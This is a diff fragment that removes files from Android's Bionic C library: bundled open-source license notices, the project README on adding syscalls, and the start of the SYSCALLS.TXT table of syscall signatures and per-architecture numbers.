All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in
|
||||
the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
* Neither the name of The Android Open Source Project nor the names
|
||||
of its contributors may be used to endorse or promote products
|
||||
derived from this software without specific prior written
|
||||
permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
|
||||
Copyright (c) 2004 by Internet Systems Consortium, Inc. ("ISC")
|
||||
Copyright (c) 1995,1996,1999 by Internet Software Consortium.
|
||||
|
||||
Permission to use, copy, modify, and distribute this software for any
|
||||
purpose with or without fee is hereby granted, provided that the above
|
||||
copyright notice and this permission notice appear in all copies.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES
|
||||
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL ISC BE LIABLE FOR
|
||||
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
|
||||
OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
|
||||
|
||||
Portions Copyright (c) 1995 by International Business Machines, Inc.
|
||||
|
||||
International Business Machines, Inc. (hereinafter called IBM) grants
|
||||
permission under its copyrights to use, copy, modify, and distribute this
|
||||
Software with or without fee, provided that the above copyright notice and
|
||||
all paragraphs of this notice appear in all copies, and that the name of IBM
|
||||
not be used in connection with the marketing of any product incorporating
|
||||
the Software or modifications thereof, without specific, written prior
|
||||
permission.
|
||||
|
||||
To the extent it has a right to do so, IBM grants an immunity from suit
|
||||
under its patents, if any, for the use, sale or manufacture of products to
|
||||
the extent that such products are used for performing Domain Name System
|
||||
dynamic updates in TCP/IP networks by means of the Software. No immunity is
|
||||
granted for any product per se or for any other function of any product.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", AND IBM DISCLAIMS ALL WARRANTIES,
|
||||
INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
PARTICULAR PURPOSE. IN NO EVENT SHALL IBM BE LIABLE FOR ANY SPECIAL,
|
||||
DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER ARISING
|
||||
OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE, EVEN
|
||||
IF IBM IS APPRISED OF THE POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
Copyright (c) 1997, 1998, 1999, 2004 The NetBSD Foundation, Inc.
|
||||
All rights reserved.
|
||||
|
||||
This code is derived from software contributed to The NetBSD Foundation
|
||||
by Luke Mewburn; and by Jason R. Thorpe.
|
||||
This code is derived from software contributed to The NetBSD Foundation
|
||||
by Christos Zoulas.
|
||||
|
||||
Copyright (c) 1993 Christopher G. Demetriou
|
||||
Copyright (c) 1983, 1985, 1993 The Regents of the University of California. All rights reserved.
|
||||
Copyright (c) 2000 Ben Harris.
|
||||
Copyright (C) 1995, 1996, 1997, and 1998 WIDE Project.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
3. Neither the name of the project nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
Copyright (c) 2003 Networks Associates Technology, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Portions of this software were developed for the FreeBSD Project by
|
||||
Jacques A. Vidrine, Safeport Network Services, and Network
|
||||
Associates Laboratories, the Security Research Division of Network
|
||||
Associates, Inc. under DARPA/SPAWAR contract N66001-01-C-8035
|
||||
("CBOSS"), as part of the DARPA CHATS research program.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
Portions Copyright (c) 1993 by Digital Equipment Corporation.
|
||||
|
||||
Permission to use, copy, modify, and distribute this software for any
|
||||
purpose with or without fee is hereby granted, provided that the above
|
||||
copyright notice and this permission notice appear in all copies, and that
|
||||
the name of Digital Equipment Corporation not be used in advertising or
|
||||
publicity pertaining to distribution of the document or software without
|
||||
specific, written prior permission.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS" AND DIGITAL EQUIPMENT CORP. DISCLAIMS ALL
|
||||
WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES
|
||||
OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL DIGITAL EQUIPMENT
|
||||
CORPORATION BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
|
||||
DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
|
||||
PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
|
||||
ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
|
||||
SOFTWARE.
|
||||
|
||||
|
||||
Copyright (c) 1997 Mark Brinicombe
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
3. All advertising materials mentioning features or use of this software
|
||||
must display the following acknowledgement:
|
||||
This product includes software developed by Mark Brinicombe
|
||||
4. Neither the name of the University nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
|
||||
Copyright (c) 1993 Martin Birgmeier
|
||||
All rights reserved.
|
||||
|
||||
You may redistribute unmodified or modified versions of this source
|
||||
code provided that the above copyright notice and this and the
|
||||
following conditions are retained.
|
||||
|
||||
This software is provided ``as is'', and comes with no warranties
|
||||
of any kind. I shall in no event be liable for anything that happens
|
||||
to anyone/anything when using this software.
|
||||
|
||||
|
||||
Arc4 random number generator for OpenBSD.
|
||||
Copyright 1996 David Mazieres <dm@lcs.mit.edu>.
|
||||
|
||||
Modification and redistribution in source and binary forms is
|
||||
permitted provided that due credit is given to the author and the
|
||||
OpenBSD project by leaving this copyright notice intact.
|
||||
|
||||
|
||||
Copyright (c) 1999 Kungliga Tekniska Högskolan
|
||||
(Royal Institute of Technology, Stockholm, Sweden).
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of KTH nor the names of its contributors may be
|
||||
used to endorse or promote products derived from this software without
|
||||
specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY KTH AND ITS CONTRIBUTORS ``AS IS'' AND ANY
|
||||
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL KTH OR ITS CONTRIBUTORS BE
|
||||
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
|
||||
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
|
||||
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
|
||||
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */
|
||||
|
||||
|
||||
====================================================
|
||||
Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
|
||||
|
||||
Developed at SunPro, a Sun Microsystems, Inc. business.
|
||||
Permission to use, copy, modify, and distribute this
|
||||
software is freely granted, provided that this notice
|
||||
is preserved.
|
||||
====================================================
|
||||
|
||||
|
||||
Copyright (c) 1997, 2005 Todd C. Miller <Todd.Miller@courtesan.com>
|
||||
|
||||
Permission to use, copy, modify, and distribute this software for any
|
||||
purpose with or without fee is hereby granted, provided that the above
|
||||
copyright notice and this permission notice appear in all copies.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
||||
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
|
||||
|
||||
Copyright (c) 1989, 1993
|
||||
The Regents of the University of California. All rights reserved.
|
||||
(c) UNIX System Laboratories, Inc.
|
||||
All or some portions of this file are derived from material licensed
|
||||
to the University of California by American Telephone and Telegraph
|
||||
Co. or Unix System Laboratories, Inc. and are reproduced herein with
|
||||
the permission of UNIX System Laboratories, Inc.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
3. Neither the name of the University nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
|
||||
Copyright (c) 1995, 1996 Carnegie-Mellon University.
|
||||
All rights reserved.
|
||||
|
||||
Author: Chris G. Demetriou
|
||||
|
||||
Permission to use, copy, modify and distribute this software and
|
||||
its documentation is hereby granted, provided that both the copyright
|
||||
notice and this permission notice appear in all copies of the
|
||||
software, derivative works or modified versions, and any portions
|
||||
thereof, and that both notices appear in supporting documentation.
|
||||
|
||||
CARNEGIE MELLON ALLOWS FREE USE OF THIS SOFTWARE IN ITS "AS IS"
|
||||
CONDITION. CARNEGIE MELLON DISCLAIMS ANY LIABILITY OF ANY KIND
|
||||
FOR ANY DAMAGES WHATSOEVER RESULTING FROM THE USE OF THIS SOFTWARE.
|
||||
|
||||
Carnegie Mellon requests users of this software to return to
|
||||
|
||||
Software Distribution Coordinator or Software.Distribution@CS.CMU.EDU
|
||||
School of Computer Science
|
||||
Carnegie Mellon University
|
||||
Pittsburgh PA 15213-3890
|
||||
|
||||
any improvements or extensions that they make and grant Carnegie the
|
||||
rights to redistribute these changes.
|
||||
|
||||
|
||||
Copyright (c) 1995, 1996 Carnegie-Mellon University.
|
||||
All rights reserved.
|
||||
|
||||
Author: Chris G. Demetriou
|
||||
|
||||
Permission to use, copy, modify and distribute this software and
|
||||
its documentation is hereby granted, provided that both the copyright
|
||||
notice and this permission notice appear in all copies of the
|
||||
software, derivative works or modified versions, and any portions
|
||||
thereof, and that both notices appear in supporting documentation.
|
||||
|
||||
CARNEGIE MELLON ALLOWS FREE USE OF THIS SOFTWARE IN ITS "AS IS"
|
||||
CONDITION. CARNEGIE MELLON DISCLAIMS ANY LIABILITY OF ANY KIND
|
||||
FOR ANY DAMAGES WHATSOEVER RESULTING FROM THE USE OF THIS SOFTWARE.
|
||||
|
||||
Carnegie Mellon requests users of this software to return to
|
||||
|
||||
Software Distribution Coordinator or Software.Distribution@CS.CMU.EDU
|
||||
School of Computer Science
|
||||
Carnegie Mellon University
|
||||
Pittsburgh PA 15213-3890
|
||||
|
||||
any improvements or extensions that they make and grant Carnegie the
|
||||
rights to redistribute these changes.
|
||||
|
||||
|
||||
Copyright (c) 2003 Networks Associates Technology, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Portions of this software were developed for the FreeBSD Project by
|
||||
Jacques A. Vidrine, Safeport Network Services, and Network
|
||||
Associates Laboratories, the Security Research Division of Network
|
||||
Associates, Inc. under DARPA/SPAWAR contract N66001-01-C-8035
|
||||
("CBOSS"), as part of the DARPA CHATS research program.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
|
|
@ -1,54 +0,0 @@
|
|||
Welcome to Bionic, Android's small and custom C library for the Android
|
||||
platform.
|
||||
|
||||
Bionic is mainly a port of the BSD C library to our Linux kernel with the
|
||||
following additions/changes:
|
||||
|
||||
- no support for locales
|
||||
- no support for wide chars (i.e. multi-byte characters)
|
||||
- its own smallish implementation of pthreads based on Linux futexes
|
||||
- support for x86, ARM and ARM thumb CPU instruction sets and kernel interfaces
|
||||
|
||||
Bionic is released under the standard 3-clause BSD License
|
||||
|
||||
Bionic doesn't want to implement all features of a traditional C library, we only
|
||||
add features to it as we need them, and we try to keep things as simple and small
|
||||
as possible. Our goal is not to support scaling to thousands of concurrent threads
|
||||
on multi-processors machines; we're running this on cell-phones, damnit !!
|
||||
|
||||
Note that Bionic doesn't provide a libthread_db or a libm implementation.
|
||||
|
||||
|
||||
Adding new syscalls:
|
||||
====================
|
||||
|
||||
Bionic provides the gensyscalls.py Python script to automatically generate syscall
|
||||
stubs from the list defined in the file SYSCALLS.TXT. You can thus add a new syscall
|
||||
by doing the following:
|
||||
|
||||
- edit SYSCALLS.TXT
|
||||
- add a new line describing your syscall, it should look like:
|
||||
|
||||
return_type syscall_name(parameters) syscall_number
|
||||
|
||||
- in the event where you want to differentiate the syscall function from its entry name,
|
||||
use the alternate:
|
||||
|
||||
return_type funcname:syscall_name(parameters) syscall_number
|
||||
|
||||
- additionally, if the syscall number is different between ARM and x86, use:
|
||||
|
||||
return_type funcname[:syscall_name](parameters) arm_number,x86_number
|
||||
|
||||
- a syscall number can be -1 to indicate that the syscall is not implemented on
|
||||
a given platform, for example:
|
||||
|
||||
void __set_tls(void*) arm_number,-1
|
||||
|
||||
|
||||
the comments in SYSCALLS.TXT contain more information about the line format
|
||||
|
||||
You can also use the 'checksyscalls.py' script to check that all the syscall
|
||||
numbers you entered are correct. It does so by looking at the values defined in
|
||||
your Linux kernel headers. The script indicates where the values are incorrect
|
||||
and what is expected instead.
|
|
@ -1,264 +0,0 @@
|
|||
# this file is used to list all the syscalls that will be supported by
|
||||
# the Bionic C library. It is used to automatically generate the syscall
|
||||
# stubs, the list of syscall constants (__NR_xxxx) and the content of <linux/_unitsd.h>
|
||||
#
|
||||
# each non comment line has the following format:
|
||||
#
|
||||
# return_type func_name[:syscall_name[:call_id]]([parameter_list]) (#syscall_number|stub)
|
||||
#
|
||||
# note that:
|
||||
# - syscall_name correspond to the name of the syscall, which may differ from
|
||||
# the exported function name (example: the exit syscall is implemented by the _exit()
|
||||
# function, which is not the same as the standard C exit() function which calls it)
|
||||
# The call_id parameter, given that func_name and syscall_name have
|
||||
# been provided, allows the user to specify dispatch style syscalls.
|
||||
# For example, socket() syscall on i386 actually becomes:
|
||||
# socketcall(__NR_socket, 1, *(rest of args on stack)).
|
||||
#
|
||||
# - each parameter type is assumed to be stored on 32 bits, there is no plan to support
|
||||
# 64-bit architectures at the moment
|
||||
#
|
||||
# - it there is "stub" instead of a syscall number, the tool will not generate any
|
||||
# assembler template for the syscall; it's up to the bionic implementation to provide
|
||||
# a relevant C stub
|
||||
#
|
||||
# - additionally, if the syscall number is different amoung ARM, x86 and SuperH, use:
|
||||
# return_type funcname[:syscall_name](parameters) arm_number,x86_number,superh_number
|
||||
#
|
||||
# the file is processed by a python script named gensyscalls.py
|
||||
#
|
||||
|
||||
# process management
|
||||
void _exit:exit_group (int) 248,252
|
||||
void _exit_thread:exit (int) 1
|
||||
pid_t __fork:fork (void) 2
|
||||
pid_t _waitpid:waitpid (pid_t, int*, int, struct rusage*) -1,7
|
||||
int waitid(int, pid_t, struct siginfo_t*, int,void*) 280,284
|
||||
|
||||
# NOTE: this system call is never called directly, but we list it there
|
||||
# to have __NR_clone properly defined.
|
||||
#
|
||||
pid_t __sys_clone:clone (int, void*, int*, void*, int*) 120
|
||||
|
||||
int execve (const char*, char* const*, char* const*) 11
|
||||
|
||||
int __setuid:setuid32 (uid_t) 213
|
||||
uid_t getuid:getuid32 () 199
|
||||
gid_t getgid:getgid32 () 200
|
||||
uid_t geteuid:geteuid32 () 201
|
||||
gid_t getegid:getegid32 () 202
|
||||
uid_t getresuid:getresuid32 () 209
|
||||
gid_t getresgid:getresgid32 () 211
|
||||
pid_t gettid() 224
|
||||
int getgroups:getgroups32(int, gid_t *) 205
|
||||
pid_t getpgid(pid_t) 132
|
||||
pid_t getppid() 64
|
||||
pid_t setsid() 66
|
||||
int setgid:setgid32(gid_t) 214
|
||||
int seteuid:seteuid32(uid_t) stub
|
||||
int __setreuid:setreuid32(uid_t, uid_t) 203
|
||||
int __setresuid:setresuid32(uid_t, uid_t, uid_t) 208
|
||||
int setresgid:setresgid32(gid_t, gid_t, gid_t) 210
|
||||
void* __brk:brk(void*) 45
|
||||
# see comments in arch-arm/bionic/kill.S to understand why we don't generate an ARM stub for kill/tkill
|
||||
int kill(pid_t, int) -1,37
|
||||
int tkill(pid_t tid, int sig) -1,238
|
||||
int __ptrace:ptrace(int request, int pid, void* addr, void* data) 26
|
||||
int __set_thread_area:set_thread_area(void* user_desc) -1,243
|
||||
int __getpriority:getpriority(int, int) 96
|
||||
int setpriority(int, int, int) 97
|
||||
int setrlimit(int resource, const struct rlimit *rlp) 75
|
||||
int getrlimit:ugetrlimit(int resource, struct rlimit *rlp) 191
|
||||
int getrusage(int who, struct rusage* r_usage) 77
|
||||
int setgroups:setgroups32(int, const gid_t *) 206
|
||||
pid_t getpgrp(void) stub
|
||||
int setpgid(pid_t, pid_t) 57
|
||||
pid_t vfork(void) 190,-1,190
|
||||
int setregid:setregid32(gid_t, gid_t) 204
|
||||
int chroot(const char *) 61
|
||||
int prctl(int option, unsigned int arg2, unsigned int arg3, unsigned int arg4, unsigned int arg5) 172
|
||||
int capget(cap_user_header_t header, cap_user_data_t data) 184
|
||||
int capset(cap_user_header_t header, const cap_user_data_t data) 185
|
||||
int sigaltstack(const stack_t*, stack_t*) 186
|
||||
int acct(const char* filepath) 51
|
||||
|
||||
# file descriptors
|
||||
ssize_t read (int, void*, size_t) 3
|
||||
ssize_t write (int, const void*, size_t) 4
|
||||
ssize_t __pread64:pread64 (int, void *, size_t, off_t, off_t) 180
|
||||
ssize_t __pwrite64:pwrite64 (int, void *, size_t, off_t, off_t) 181
|
||||
int __open:open (const char*, int, mode_t) 5
|
||||
int __openat:openat (int, const char*, int, mode_t) 322,295
|
||||
int close (int) 6
|
||||
int creat(const char*, mode_t) stub
|
||||
off_t lseek(int, off_t, int) 19
|
||||
int __llseek:_llseek (int, unsigned long, unsigned long, loff_t*, int) 140
|
||||
pid_t getpid () 20
|
||||
void * mmap(void *, size_t, int, int, int, long) stub
|
||||
void * __mmap2:mmap2(void*, size_t, int, int, int, long) 192
|
||||
int munmap(void *, size_t) 91
|
||||
void * mremap(void *, size_t, size_t, unsigned long) 163
|
||||
int msync(const void *, size_t, int) 144
|
||||
int mprotect(const void *, size_t, int) 125
|
||||
int madvise(const void *, size_t, int) 220,219
|
||||
int mlock(const void *addr, size_t len) 150
|
||||
int munlock(const void *addr, size_t len) 151
|
||||
int mincore(void* start, size_t length, unsigned char* vec) 219,218
|
||||
int __ioctl:ioctl(int, int, void *) 54
|
||||
int readv(int, const struct iovec *, int) 145
|
||||
int writev(int, const struct iovec *, int) 146
|
||||
int __fcntl:fcntl(int, int, void*) 55
|
||||
int flock(int, int) 143
|
||||
int fchmod(int, mode_t) 94
|
||||
int dup(int) 41
|
||||
int pipe(int *) 42,42,-1
|
||||
int dup2(int, int) 63
|
||||
int select:_newselect(int, struct fd_set *, struct fd_set *, struct fd_set *, struct timeval *) 142
|
||||
int ftruncate(int, off_t) 93
|
||||
int getdents:getdents64(unsigned int, struct dirent *, unsigned int) 217,220
|
||||
int fsync(int) 118
|
||||
int fchown:fchown32(int, uid_t, gid_t) 207
|
||||
void sync(void) 36
|
||||
int __fcntl64:fcntl64(int, int, void *) 221
|
||||
int fstatfs:fstatfs64(int, size_t, struct statfs *) 267,269
|
||||
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count) 187
|
||||
int fstatat:fstatat64(int dirfd, const char *path, struct stat *buf, int flags) 327,300
|
||||
int mkdirat(int dirfd, const char *pathname, mode_t mode) 323,296
|
||||
int fchownat(int dirfd, const char *path, uid_t owner, gid_t group, int flags) 325,298
|
||||
int fchmodat(int dirfd, const char *path, mode_t mode, int flags) 333,306
|
||||
int renameat(int olddirfd, const char *oldpath, int newdirfd, const char *newpath) 329,302
|
||||
|
||||
# file system
|
||||
int link (const char*, const char*) 9
|
||||
int unlink (const char*) 10
|
||||
int unlinkat (int, const char *, int) 328,301
|
